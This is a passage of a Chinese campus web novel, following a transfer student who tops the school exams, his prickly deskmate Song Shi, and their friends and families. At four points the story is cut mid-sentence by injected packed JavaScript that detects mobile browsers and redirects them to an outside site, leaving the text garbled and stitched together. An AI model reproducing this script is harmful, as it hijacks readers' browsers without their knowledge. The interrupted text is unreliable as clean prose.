l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667840|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心被他给发现了—— 就不能太较真,越较真,错得越多。 跟着感觉走,准没错。 窗外,黑咕隆咚的楼房连成一片,对面窗帘拉得严实,不见一丝光亮。 祝池觉得满庭芳园大抵是个养生小区,十一点过后,就陆陆续续熄了灯。 他最后看了眼窗外。 对面窗户似乎没关严,帘子被晚风吹得鼓胀,有那么一秒,整片窗帘被风掀起来,屋内的布景和人影隔着一条街,在祝池面前一闪而过。 可惜他没看清,风就戛然而止了。 祝池拉了把帘子,整个人往后栽倒在床上,软和的床垫将他整个人包裹起来。 睡前老样子,祝池又打开微信看了眼,他难得刷一回朋友圈,竟发现了除“悦卡”广告以外的其他动态。 SSS:分享《大卫·科波菲尔》中很喜欢的两句话—— 大多数人看电影看个热闹,即看即过,没想到宋时还积累上素材了。 “记忆中的青春比我或任何人一向所宝爱的青春更栩栩如生,而青春时代所珍贵的一切在记忆中永远不会消失。” 读完第一句,祝池咂嘴翻了个身。 十六七岁说什么记忆中的青春,纯纯为赋新词强说愁。 他接着往下看第二句。 “我希望真正的爱心和忠实终比世间一切罪过或不幸更有力量。” 比第一句好点,起码够积极向上,不过—— 却是“希望”。 祝池手指顿了顿,本想继续往下划,可不小心触到了右下角的小圆点,手机界面弹出“赞”或“评论”的标签。 许是躺着单手拿手机操作不灵活,祝池刚要点界面空白处,却又一个不小心,手往右边偏移了些。 一个红色小爱心在屏幕上跳动一下,接着,动态下方,微信昵称“住持”和大红“爱心”紧挨着绑在一起。 祝池吓得一个激灵,反手就要取消。 对不熟的人,深夜点赞这种事实在太可疑了。 瞎想的片刻间,祝池又盯着屏幕看了几秒,手指悬在小红心上,却迟迟没有落下。 宋时朋友圈很冷清,一个赞也没有,更别说评论了。 祝池想了想,宋时人缘这么差,施舍他一个赞也不是什么大事,给同桌捧场,也是基本的人情往来。 况且点都点了,取消岂不是更可疑,要是他看见了呢? 半分钟过去,祝池还没取消赞,这时,微信却突然弹出一则新消息。 SSS:? 祝池:??? 给你点赞不感谢,发问号几个意思。 是觉得我不该给你点赞? 两秒过后。 SSS:还不睡。 祝池觉得他这话稀奇,自己不睡还说他,管得倒挺宽。 住持:刚要睡的,某人就发消息骚扰。 后半句打了一半,祝池觉得顺着他的话聊没意思,又全给删了。 住持:你该不会是大半夜还在偷偷学习吧。 宋时家虽然和贺景阳家对着,但二楼房间的窗户朝向却不同,没准儿宋时房间的窗户,就开在他看不见的背面。 SSS:没有,躺床上睡不着。 住持:所以闲得慌发朋友圈? SSS:所以你闲得慌刷朋友圈,还点赞? 祝池:“……” 对我点赞意见这么大,真够不知好歹的。 住持:我点赞向来是—— 文案装逼的不点,文案超级装逼的,那是不得不点。 18. 出分 一中举行考试雷厉风行,改卷也一样不拖泥带水,隔天下午,总成绩和各科小分就全出来了。 通常情况下,都是班长领完成绩单,在教室前面的墙上贴一份,剩下的几份分给各科课代表,课代表再负责交给各科老师。 整套流程下来,班上第一个知道成绩的应该是宋时,但今天却有点不同。 下午眼保健操结束后,周延去大顺办公室补交作业,大顺人虽不在,成绩单却明晃晃地摆在桌面上。 周延很难忍住不去看一眼,于是就看了一眼。 只是这一眼,实在是出乎意料。 表头第一行两个字太过显眼,周延连自己的各科分数都没仔细瞧,先把最上面人的分数构成在心里给记牢了。 “你们猜这次年级第一是谁?”这是周延冲进后门的第一句话。 “这还用猜,除了宋时还能有谁,”黄宇恒回头说,“你还不如问谁是第二,这还有的猜。” 高一一整个学年,不管是分科前还是分科后,他们年级第一名就没易过主,全被宋时这个六边形战士给包揽。 年级第一雷打不动已成为所有人的共识,也不怪黄宇恒想当然。 “是宋时——”周延激动得喘了口气。 “都知道,不用强调。”黄宇恒示意他冷静,坐下说话。 “是宋时他同桌!”周延终于顺过气儿来,一口气把话说全了。 这个答案显然出乎意料,黄宇恒愣住,旁边的夏思澈写题的笔顿住,周围听清的,没听清的全看过来。 除了两个当事人。 前排的祝池正举着杯子灌水,听到周延的话也没半分惊讶,默不作声将含在嘴里的水咽下去。 他同桌宋时写字的手没停,不知是不是写题过于专注,没听见周延说的话。 “等等,你再说一遍,谁年级第一?” 黄宇恒和五分钟前的周延一个样,显然还处于不敢相信事实的情况。 “祝池,就新同学啊。”周延在他耳边重复了几遍,“还以为新同学只是数学顶尖,没想到也是个不偏科的全才,往后年级第一也是有的争了。” 黄宇恒点头的同时,朝前排掠过一眼,接着又转头追问,也没顾得上注意,他同桌耳侧突然撑起的胳膊。 “第一多少分儿啊,这次题我觉得难度不低,应该破不了700吧。” 周延就等人问,也不枉他刚刚的一番速记,“是没破,但也差不多……” 话刚说一半,上课铃就打响了。 门口一双锐利的目光扫过来,周延立刻缩回原位,黄宇恒被他吊着胃口,没忍住又问了句:“所以是多少分儿?” 周延给他递眼神,示意他赶紧转过去。 一瞬班上鸦雀无声,黄宇恒这才有了已经上课的实感。 他顿感不妙,来这么早,莫非是—— 黄宇恒灰溜溜地转回自己位上,没敢抬头,却还是没逃过卢娜的特别关注。 “多少分是吧,我告诉你。” 卢娜声音压得很低,班上人也纷纷埋下头,噤若寒蝉,连大气都不敢喘。 “咱班这次英语平均分年级第五,”音量突然拉高几个度,班上人的心也跟着提到嗓子眼。 “这意味着什么?意味在三个理科特奥班和两个文科特奥班里,咱班垫底!” 卢娜将讲台拍得震天响地,已经到了楼下班能直接上来投诉的程度。 众人心跳跟着桌板跳,唯有黄宇恒稍稍松口气,还好是全班,没专门点他。 “还有黄宇恒,我都不想说,”卢娜有点恨铁不成钢,“考那么点分儿,到现在卷子都没拿出来!” 黄宇恒心跳漏了半拍,短短两分钟,像是把这辈子的过山车都做完了。 他慌忙开始在桌肚翻卷子,可越慌,越找不到。 卢娜发完火,声音很快归于平静,“不说了,看卷子,卷子找不到的别找了,赶紧找同桌合看。” 卢娜这么说,当然是因为班上不只一人还在翻卷子。 除了黄宇恒,祝池也没找到。 他在桌肚里一顿好找,其它科目都在,唯独不见英语。 唉,奇了个怪。 怎么会呢。 祝池茫然地盯着面前刨出来的一堆试卷,脑子里还在加速搜索,自己究竟将试卷放哪儿去了。 卢娜节奏很快,短短两分钟,B篇阅读已经讲了一半,大抵是觉得太简单,想不通怎么还会有人错。 祝池在原地呆坐了两分钟,还是不愿相信,他一向把东西保管得很好,怎么会搞丢呢。 一定是自己没好好找。 祝池把所有卷子翻出来,打算一张张过,没准儿是夹在哪一份里了。 他刚要从头来过,胳膊就被人碰了碰。 “别翻了,”宋时把卷子移到桌子缝中央,“再翻要下课了。” 祝池止住翻卷子的动作,瞟了眼宋时。 太阳打西边出来了,这么好心。 就因为我昨天给他点赞? 祝池将一沓卷子送进桌肚,又将手抽回桌上。 宋时端端坐在位子中央,和往常一样,不过是头稍微侧过去点。 祝池就隔得更远了,直接胳膊拄着另半边脸,身体倾斜着,远远瞧着中央的卷子。 虽是合看,却不似一般人那样往中间凑,好像试卷是什么不祥之物一样。 这倒也不是说祝池在故意躲他,只是这个姿势舒服,而且他的视力好,隔远了也看得清清楚楚。 试卷讲完阅读部分,宋时一题没错。 等讲到完形时,一道并不起眼的小红线斜在15道题中央。 许是看卷子上干干净净、无勾无叉习惯了,又许是因为自己前面没错,所以认为宋时也不会错。 祝池好奇,不自觉起身凑过去。 他照着题号锁定原文。 宋时错的这题,答案是很自然就能选出的,自然到祝池就算不看选项,只看文章也能顺出来。 他再看一眼选项,发现四个选项意思差别还算明显,也没到会产生干扰的地步。 所以宋时到底咋选错的。 这题都能错。 与此同时,卢娜迅速挑出完形中的几题讲,却只字未提宋时错的这道。 估计是班上没几个人错,自动跳过了。 祝池瞥一眼宋时,指着卷子上那题,好奇问了句:“你是不是看错选项,不小心选错了。” 宋时答得平淡:“不是,理解错了。” 祝池“哦”一声,心想学霸的脑回路清奇,偶尔剑走偏锋也正常。 他又忍不住问一句:“那你现在理解了吗?” 宋时顿了片刻,没吭声,只是点点头。 祝池了然,那就是没理解呗,干嘛不懂装懂,没理解直说就行,他顶多私下笑话笑话他。 祝池扯出手边的草稿纸,把四个选项意思一一列出来,又指着上下文,“根据这个,再结合这个……” 碍于还在上课,祝池只好手势和表情齐驱,一顿唠下来,他想宋时应该悟了吧。 “这下理解了吧?”祝池问。 宋时愣愣的,又不说话,头只是微微点了下。 祝池有点累,心累,但他尽力了,听没听懂也就这样吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667841|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祝池拍着他肩膀安慰:“没事,一道完形而已,才一分。” 宋时终于开口:“一分也是分。” 祝池觉得这哥们大概是致力追求完美主义,但想想也能理解,毕竟差一分前面就是满分。 他又安慰了两句:“别放心上,虽然错这题很遗憾,但以后考试还多,你还有机会,别灰心。” 半晌,宋时开口:“不遗憾。” “嗯?” 他依旧盯着那道题,“这题不遗憾,A和C都有庆祝的意思,题目出得不好。” 祝池:“……” 下课铃打响,卢娜一节课刚好讲完选择题和语法填空,不过这并不影响她拖堂。 “先简单说一下这次读后续写的情节——” 话音刚落,下面就叽叽喳喳开始讨论: “这谁想得到,钢琴还能插电。” “对啊对啊,结尾钢琴没声了,我还以为是钢琴坏了,所以第一段一整段都在写如何如何修钢琴。” “哎,我和你一样,不会算偏题吧。” “我都不知道‘plugin’是插电的意思,就算想到了,我也翻译不出来啊。” “……” “安静,先听我讲,”卢娜拍手道,“答案给的情节确实不好想,所以我们几个老师商量了一下,只要合理都不会扣分,但能写到答案的情节,肯定会加分。” 台下又是一片窃窃私语: “这么离谱的答案还有人能想到?” “反正我是没见过插电钢琴,我从小练的都是不插电的。” “……” “还是有人想到的,我改卷的时候就遇到了,语言也好,字迹也工整。”卢娜将小蜜蜂取下来,“先下课,具体的等我仔细看过成绩再说。” “谁啊?应该不是我们班的吧。” “不知道,照娜姐的说法,那人续写起码23+” “估计不止,24差不多,满分也不是没可能。” “……” 祝池不知道卢娜说的那篇是不是自己的,但他情节确实没写偏。 小学的时候,身边同学流行报兴趣班,宁想随大流也给他报了个钢琴班。 每天放学就去琴房练琴,一来有老师管,算作免费的托管,二来家里也不用买琴,直接蹭琴房的就行,自主练习,不额外收费。 练琴的小孩儿全部集中在大教室,大教室里摆着十几架钢琴,不是电子琴,但也需要插电。 有时候电线不小心被人拔了,还得自己插,这种事祝池都数不清干了多少次,所以他印象里的钢琴,都是要插电的。 课间宋时去领成绩单,刚在墙上贴好,就立马围上来一拨人,将前门口堵得水泄不通。 周延则坐在位子上不争不抢,反正他早就看过了。 同样屹然不动的还有夏思澈,作为数学课代表,他手里已经有了一份,他同桌黄宇恒跟着沾光,赶紧凑过去看自己的英语成绩。 作为班级前十的常驻选手,黄宇恒理科其实很不错,就是英语老拖后腿,因此成了卢娜眼中的重点关注对象。 看到自己分数时,黄宇恒眉头瞬间舒展开来,“哎呦,吓死我了,我还以为多惨烈呢,129也还行吧。” 不过没有对比就没有伤害,周延指着第一行说:“你看看年级第一,人家英语多少。” 黄宇恒视线上移,很快就找到了祝池的英语分数。 一个可怕的数字映入眼帘,这恐怕是黄宇恒这辈子都没想过攀登的高峰—— 149.5分。 前所未有,离满分只差0.5! 19. 小纸片 “这也太逆天了吧。”黄宇恒瞪大双眼,啧啧称奇。 周延将祝池的成绩分析一遍:“语文110,数学150,英语149.5,总分699.5,物理化合起来也才扣了10分,而且甩了年级第二整整10分,太顶了。” 第一断层不是什么稀奇事,之前宋时也经常这么干,有一次联考他考700多分,直接甩夏思澈20分。 但这次不是宋时甩别人,而是别人甩宋时。 宋时握着成绩单,这回大顺给多印了一张,他就自己悄悄留下了。 他略略扫一眼,将成绩单折进文件夹。 可就在文件夹打开的瞬间,一张卷子从里面掉了出来。 轻飘飘的卷子没法直接落地,在空中几度周转漂移后,最终落到了祝池位子下面—— 一个犄角旮旯的地方。 别说宋时够不到,就是祝池去捡,也得低头哈腰蹲到桌子下。 宋时不得不求助他同桌。 他飞速戳了下旁边人胳膊,动作极轻,幅度极小。 不过好在祝池肌肤敏感,没等宋时开口就已经心领神会,自觉扎到了桌子下。 不一会儿,祝池捡起沾满灰尘和头发的卷子,身子还没直起来,先把卷子递了过去。 只是宋时手悬着空中,迟迟没接。 “咋了,这不是你的?”祝池还在疑惑,从桌下钻上来坐好,看了眼试卷。 眉头写着两个圆润的大字 ——祝池。 这不正是他失散一节课的英语试卷嘛。 宋时尴尬咳两声,移开视线,“我不知道……估计是搞混了。” 祝池抖掉卷子上的灰尘,倒也不生气,“没事,就算是你想珍藏也可以理解,毕竟—— 我这张卷子将近满分。” “……” 其实祝池也是占了语文难和英语运气好的便宜。 中规中矩甚至看似有点低的语文分这回却能排在前面,就连语文年级第一宋时,也才120分。 上课铃打响,大顺揣着试卷走进教室,进门先是往成绩单边一站。 “这次考试,年级第一和第二都在我们班,但——” 大顺顿了顿,接着说:“平均分却是三个理科特奥班里的倒数,说明后头的人太多,很多人放个暑假回来就直线退步,是谁我不单独说了,太多了,你们心里有点儿数。” 台下没人敢往大顺那儿看,基本都低着头,即便手上的题一个字也没过脑子。 有人考得差自然有人考到好,大顺最后环节总是要拎出先进与大家共勉。 “不过,这次还是有人表现的很不错……”大顺指着总分表说。 不用猜也知道,肯定又要表扬祝池了,新同学的表现实在太亮眼,可谓一骑绝尘,不容忽视。 “这次张振轩同学进步非常大,考了全班第八,年级30名。”大顺说。 听到这个不算响亮的名字时,大家显然都没料到。 和侯思源还不完全相同,张振轩属于班里低调的一类学生,不光性格低调,成绩也很低调,简而言之就是没什么存在感。 台下人终于掀起眼皮,纷纷往周围瞟,不过寻觅一转大都无功而返。 他们大抵没留意,张振轩坐最后一排,唯有他同桌周延,明目张胆凑近了些说:“可以啊你。” “所以嘛,所有人都是潜力股,都是黑马,都有考起来的可能。这次失意不要紧,下次没准就是你的高光,下次没考好也不要紧,你的运气可能全攒在高考,不过——” 大顺又是一顿,一班同学熟悉他的套路,知道后面的话才是重点。 “不过要是平时不扎扎实实把基本功打好,考场你就算求爷爷告奶奶,也求不来好运,”大顺语速放快了些,“实力先行,气运在后,没有十年磨一剑的苦工,哪来一鸣惊人的破茧。” “据我观察,每次张振轩同学都第一个到教室,我不是说要求你们提前来,但起码不能迟到吧。那几个经常迟到的,今天就不点名了。” 虽说不硬性要求早来,但今天大顺专门提,大家心里也都有了数。 从明天开始,绝对有人带头响应班主任号召,不只第一个来的要换人,全班都要跟着卷起来了。 唉,唉,唉~ 五分钟后,激情演说终于告一段落,大顺开始正式上课。 “今天先不讲卷子,答案我不发是想让你们先思考思考,不要不动脑子。”大顺敲了敲黑板,“来,我们往后讲新课,继续双曲线的学习……” 宋时算是把大顺的话践行得很好,每次考完都会先自己思考,就连大顺马上要讲的,他也非要先自己琢磨出来,好像听大顺讲的才理解不作数一样。 这次考试也不例外,宋时考场上填空题最后一道没做出来,下来后第一时间也是继续研究这道题。 这题区分度很大,属于全年级都没几个人做对的那种。 不过数学满分祝池就是做对的人之一。 晚自习祝池写语文的时候,发现旁边在写数学,等他拿出英语练习册时,对方还在写数学。 祝池没忍住看去一眼,发现他始终都在算一道题。 又来了,时间太多了吧。 祝池寻出上次裁成小块的草稿纸,拿出一张,飞快地在上面写满算式和注解,中间还换了好几次笔。 写完后,宋时果不其然还没解出。 真是稳定的菜,稳定的倔。 祝池将纸片推到他面前,宋时先是一怔,看清纸上的内容后,他想也不想把纸片翻了个面。 还好,这次背面什么都没写。 “上次你怎么都没表示一下,我还以为你没看见呢。”祝池说。 宋时下意识的举动出卖了他,他再也没法装不知道了。 “看见了。”宋时回答。 “然后呢?”祝池问。 他其实想说看见了也不谢谢他,潜台词是现在说也不晚。 宋时感受到旁边人灼灼的目光,不自然地压了下笔袋,面不改色道:“扔了。” 祝池:“???” 不过也没毛病,不然难道珍藏吗? 祝池移开目光,摆了摆手,“扔了就扔了,不过下次记得有礼貌一点,尊师敬长可是中华优秀传统美德。” 宋时嘴角抽了下,估计是被他这番厥词给气的,有那么一瞬间,他真想把面前这张纸给直接扔掉。 不过最后,宋时还是看完了祝老师的贴心解析。 这也是他第一次在自己独立解决前,接受别人的帮助。 晚自习结束,祝池又开始劝他:“别总一个人埋头赶路,适当借助外力,自己会轻松不少。像我就是,超过半小时解不出,就直接看答案,或者上网搜。相信自己是好事,但也得承认自己的局限性。” 祝池苦口婆心地劝告他,大道理扯了一通,不过宋时今晚有事急着走。 是真有事,放学后学生会有个例会要开。 宋时已经挎起了包,祝池估计他也没认真听,干脆不说了,说了也是对牛弹琴。 他以为宋时没礼貌惯了,又不打招呼就走,忍不住翻了个白眼,可身侧却突然压下来一道阴影。 “谢谢弟弟,哥哥我受教了。” 温热的气息打在耳骨,祝池耳朵像是充了血一样,涨得通红。 这肯定是恼的! 这个王八蛋,还不如继续没礼貌。 祝池朝门口人喊道:“谁是你弟弟。还有,你又不知道我生日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667842|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么确定我就一定比你小?” 虽然他知道依他的月份,班上人不出意外都比他大,但听宋时的语气,却是很笃定自己就是比他小。 祝池盯着他背影,直到蓝白校服消失在走廊转角,他还在位子上困惑,依旧是一肚子火。 夜晚凉风习习,秋老虎渐渐褪去,取而代之的是昼夜温差加大。 晚风带着些许凉意,拂过校服短袖下露出的半截手臂,像是在提醒他们,要记得穿外套了。 回家的路上,三人行和四人行区别不大,少一个宋时挡路,两侧的视角反倒开阔不少。 刚出成绩的夜晚总是几家欢喜几家愁。 贺景阳发挥超长,属于欢喜的那派,许向暖惨遭滑铁卢,自然属于愁的那派。 而祝池不以物喜不以己悲,心态平和,属于游离派。 贺景阳第一次冲进年级前300,之前柳琴说进步超过300名就答应给他买鞋,这回直接上升将近1000名,这不得直接上天。 喜悦藏也藏不住,但当他察觉到许向暖一路的低气压时,还是收敛了些。 他撞了撞祝池胳膊,小声问道:“她到底考多少啊,能这么沉默。” 祝池凑近了些说:“其实也还好吧,年排120多。她之前一般考多少?” 虽然这个成绩是贺景阳难以企及的,但对于许向暖来说,确实低了点儿。 “之前没掉过年30。”贺景阳伸手比了个“3”。 祝池“哦”了一声,多少能理解。 两个考好的人为了不刺激她,也没再提考试的事,试图通过转移话题来带动气氛。 “马上放中秋,咱们一块出去玩儿吧,祝池来了都没带他出去好好转转。”贺景阳说。 许向暖本来是期待假期的,但考这么差,不只她觉得没脸,徐慧肯定又要提补课的事。 她最烦补课了,压榨她宝贵的假期不说,讲得还不怎么样,纯纯是家长花钱图个心理安慰。 许向暖眉头蹙成一团,似乎是还在纠结:“再说吧,没准儿作业写不完呢。” “也是……”贺景阳扯着嘴角,止不住挠头。 许向暖家在前面,进小区没几步就到了,她愁容满面地和他们打声招呼,准备回家受刑。 她刚转过身,祝池又叫住她:“许向暖,还记得大顺今天说的吗?” 许向暖怔了下,转着眼思考。 “明天我们也早点去,当第一个怎么样?”祝池揽住贺景阳肩膀晃了晃,“明天早半小时出发,你肯定没问题吧?” 贺景阳皱眉,觉得祝池脑子怕不是坏掉了,不想着多睡一会儿,倒是会给自己找虐受。 “明天我们提前半个小时去,就可以比别人多学半小时,坚持四天就是一个大晚自习,”祝池开始算帐,“今晚想好明天早上学什么,效率肯定比晚自习高。” 他知道,走出一段失败经历最快速的方法,不是去寻根溯缘找不足,而是不加怀疑,即刻行动。 一抹笑在许向暖嘴角漾起,贺景阳差点以为是自己看错了。 她朝祝池点点头,脸上的阴霾一瞬消散,好像又重新燃起了斗志。 “嗯,明天我必是第一个,我要夺回属于我的一切。”许向暖语气坚决,目光如炬。 祝池也笑了,他又晃了晃贺景阳,“你确定不加入?” 面前两人燃得莫名其妙,跟嗑了药一样,贺景阳不能理解,却也莫名其妙被这股燃劲儿给感染,于是乎跟着点头。 许向暖说:“你明天要是起不来,我们可不会等你。” 贺景阳瞬间更来劲儿了,不服气道:“瞧不起谁呢,要不要比一比谁第一个出门。” 许向暖:“比就比,谁怕谁。” …… 20. 早起 回到家,甜滋滋的水汽迎面扑过来,里头似乎还夹着一丝海鲜的清香。 按理说,一个人从小养成的习惯是不容易改变的,但来到这里,几年的习惯却说改就改了。 仅仅小半个月,祝池的胃就已经适应了一天四顿,每晚推开门的瞬间像是拆盲盒,很新奇,也很幸福。 不过幸福是需要对照组的。 对于贺景阳这种吃惯了大鱼大肉的,再来品这些清汤小菜,就只剩下一个字——“寡”,更别提什么幸福感了。 他将书包扔在一旁,随意扫了眼桌上的饭菜。 虾仁西兰花,还有—— 蒸红薯?! 贺景阳一脸生无可恋地说:“柳琴女士,我请问呢?这该不会是你减脂餐做多了,剩下来的吧?” 柳琴急了眼,把碗筷往他面前一扔,气鼓鼓地说:“你爱吃不吃,不吃拉倒!我辛辛苦苦倒腾宵夜,反倒被你说成喂剩饭,真是冤枉,比窦娥还冤。” 说完,又拉着祝池控诉:“小池,你说这家伙是不是狼心狗肺,真是白养了。” 祝池扶着柳琴肩膀试图安慰,又指了指餐桌上的菜肴,“西兰花是蔬菜,补充膳食纤维,虾仁富含优质蛋白质,红薯也是干净碳水,这搭配营养均衡,特别棒。”边说边给柳琴竖大拇指。 这话就听着舒畅多了,柳琴肉眼可见开朗不少,没再跟贺景阳计较。 看柳琴态度温和下来,祝池趁机给贺景阳使了个眼色,“我们今天考试出分了,贺景阳进步特别大。” 大抵是被方才的热血冲昏了头,贺景阳差点给这茬忘了,好在祝池提醒,这大好的邀功机会怎么能放过。 贺景阳挺直腰板,煞有介事地咳了两下。 柳琴觉得这等事稀奇,祖坟冒青烟的好事不常有,贺景阳不退步就算是进步,她上下打量他,嘴角带着几分怀疑的笑,“是吗?” “这还能有假,祝池可以帮我证明,”贺景阳拍着胸脯说,“您猜猜我这次多少名?” 柳琴想了想,“那肯定进1000了吧。” 贺景阳摆动食指,不屑摇头,“保守了,您大胆猜。” “不会是……进前500了?”柳琴声音有点虚。 “不是,您怎么对自己儿子这么没信心,我可是暑假好好学习过的人。” 贺景阳说得脸不红心不跳,祝池噎了下,一口红薯差点儿没堵在嗓子眼。 时间被拉回那个阳光明媚的午后,两个专注的背影依旧刻在柳琴脑中。 今非昔比,如今家里来了个学霸,又和自己儿子同吃同住、同进同出,就算贺景阳以前懒散懈怠,现在也总该被带动起来了。 柳琴忽而有了底气,这回彻底放开了嘴。 “该不会是……进前100了吧!”说到这个喜人的排名和数字,柳琴自己都有点激动。 贺景阳:“……” 祝池:“……” “那倒也不至于,我又没作弊,哪里升咖升得这么快,”贺景阳讪讪笑道,“也就让我给撞进前300了,298名。” 尽管没她猜的那么夸张,但也是贺景阳头一遭靠这么好,柳琴嘴角不自觉翘起,压都压不住。 她转念又想起祝池,问他:“小池考得怎么样?我猜前30肯定没问题吧。” 一中毕竟是重高,物理类前30就算作清北预备役,虽然柳琴对祝池很有信心,她一度认为祝池是不输宋时的好孩子,但谨慎考虑过后,还是先报了个相对保守的名次。 “您得拿出刚才猜前100的豪气来,”贺景阳先开口道,“不多说了,把后面两个0去掉,就是祝池的排名。” 贺景阳大手一挥,发言特别潇洒,颇有种随随便便签下动辄几亿合同的霸总风范。 祝池学到了,下次宋时要是再叫他弟弟,他就这么嘚瑟给他看。 看家里两个孩子都考这么好,柳琴眉开眼笑,难得好说话,“明天晚上想吃啥,随便提,我给你们做。” 贺景阳有种在家当皇帝的爽感,果然有实力才有话语权,他也不客气,张口就是:“炸鸡腿、汉堡、火鸡面……” 菜单往后报着,柳琴脸上的笑容开始逐渐消失。 贺景阳没留意,直接蹬鼻子上脸,“要是再来打冰啤,那就再好不过了。” “……” 柳琴脸彻底沉下来,不过还是尽力维持着声音的柔和。 “这个嘛……”她思虑片刻后说,“垃圾食品本店概不提供,不过可以考虑卤鸡腿、三明治、豚骨拉面……外加现磨豆浆作为平替。” 贺景阳:“……” 上楼的时候,贺景阳突然想起一件大事,跑过去对祝池说,“这次年级第一易主可是轰动全校,连我们班都知道了,娜姐还在班上专门夸你了。” 祝池没明白他渲染这么多到底要说什么,问道:“所以……一中考年级第一是有什么奖励吗?” “额……会开表彰大会,还会发奖金,但奖金月考没有,只有联考有。”贺景阳勾着他肩膀说,“不过这都不重要,重要的是你收获了万众的瞩目。” 祝池:“……” 净是些没用的东西。 “你一来就抢了宋时的风头,他什么反应啊?”贺景阳问,神色间掺着八卦和忧心的矛盾感。 祝池仔细回想一遍,今天宋时还好心借他卷子看,如果忽略他向来的嘴毒,倒是蛮正常的。 “没什么反应,”祝池说,“能有什么反应?把我打一顿吗?” 贺景阳皱眉:“也不至于,但可能不会给你好脸色……总之,你最近还是别惹他。” 祝池下意识点头,想了下总觉得哪里不对,又立马摇头。 我平时也没惹他,我还助人为乐呢。 许是室内没开窗,冷空气下降,热空气上升,二楼的温度比室外要暖和不少。 祝池突然觉得有点热,推开贺景阳在脖上的巨蟒式缠绕,随口问了句:“宋时也是因为从小就优秀,所以他爸妈对他要求很高?” 单个“也”字混在长句中,大抵被当作是个人口癖,压根不会有人注意,何况对面是神经大条的贺景阳。 “江叔叔应该不会,他妈可能有点儿吧,”贺景阳思索着回答,“其实他小时候不这样,挺皮的,话多还是个哭包,除了爱哭,其它跟我差不多,也没看出来是个学霸苗子啊……” “唉,男大十八变,越变越沉默,越变越闷骚,宋时怎么也往江遇安那挂发展了。” “……” 月上梢头,行将盈满,阵阵微风从窗户缝钻进来,带着些许桂花的清香。 祝池特意没关严窗户,偶有凉风从额前扫过,更能提神醒脑。 等他再抬头时,看一眼时钟,十一点已经过半,没想到这回竞赛留的两道题目能做这么久。 今天是某雄联盟全球赛最后一天,“野生动物园”依旧风平浪静,考虑到明早还要早起,祝池伸了个懒腰,也懒得再开电脑,于是决定今晚就先到这里。 他坐回床边摸出手机,面无表情地刷了几条搞笑短视频。 短视频全是玩梗的段子,可惜梗的质量不怎么高,笑点全无,尬的脚趾头都能抠出两套房。 祝池觉得没劲,于是退出来,也不知打哪儿来的幻想,鬼使神差的,又点开了那个很有可能更没劲的彩色圆圈。 进去以后,朋友圈跟没刷新一样,最新动态还停留在昨晚十一点多,宋时那两句超级装逼的无病呻吟上。 祝池估计自己是睡不着闲得慌,把那两句话又翻出来,从头到尾给拜读了一遍。 也不知是怎的,脑海里盘旋起贺景阳方才对宋时的评价,连带着那天饭桌上的微妙关系、卫生间撞破的秘密,以及宋时在校表现出的好学生模样…… 七零八落的人物碎片,在祝池脑子里,逐渐串连出一条清晰的逻辑链。 他好像有那么一瞬了悟,宋时的伪装,大概是装给她妈妈看的吧。 可是,那不是他亲妈吗? 好不容易串起的链条瞬间断掉,祝池想不明白,但却意识到一件更紧急的事情—— 明天的卷王早起计划,好像还没告诉宋时! 他连忙退出朋友圈,点开微信栏,接着点进那个至今还没交流过学习的“学习交流中心”。 祝池编辑好信息,刚准备发过去,手却顿住了。 想必这个点大家都睡了吧,别人不好说,但贺景阳是肯定睡着了。 隔着一堵墙,他都能听见隔壁屋隐隐传来的鼾声,每晚十一点,准点必响,比闹钟还准时。 凉风飕飕鼓起窗帘,祝池这才意识到,自己连窗户都没关。 他趿拉着拖鞋走到窗边,拉开窗帘才发现,对面竟也亮着灯,明明前半小时还是熄着的。 据不完全统计,这间窗子已经有好几夜孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667843|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯奋战的记录,祝池有种很强的预感,这就是宋时的房间,毕竟某人昨天大半夜还给他发消息。 祝池果断点开SSS,在键盘上盲打出一条消息:为响应大顺号召,明天我们打算早点去,六点半门口准时见,过时不候。 输入不过十秒,手就在发送键上犹豫了五秒。 通知消息而已,应该不需要委婉用语吧。 祝池又读了一遍,觉得没毛病,于是直接摁了发送键。 等待一分钟,无人问津,对面的灯却还亮着。 五分钟后,消息如同石沉大海,彻底没了回声。 祝池宣布自己耐心耗尽。 是真看不见还是装看不见? 算了,反正我通知到位就行,不是我没说。 睡觉。祝池拉了把被子,翻身将手机扣在枕边。 - 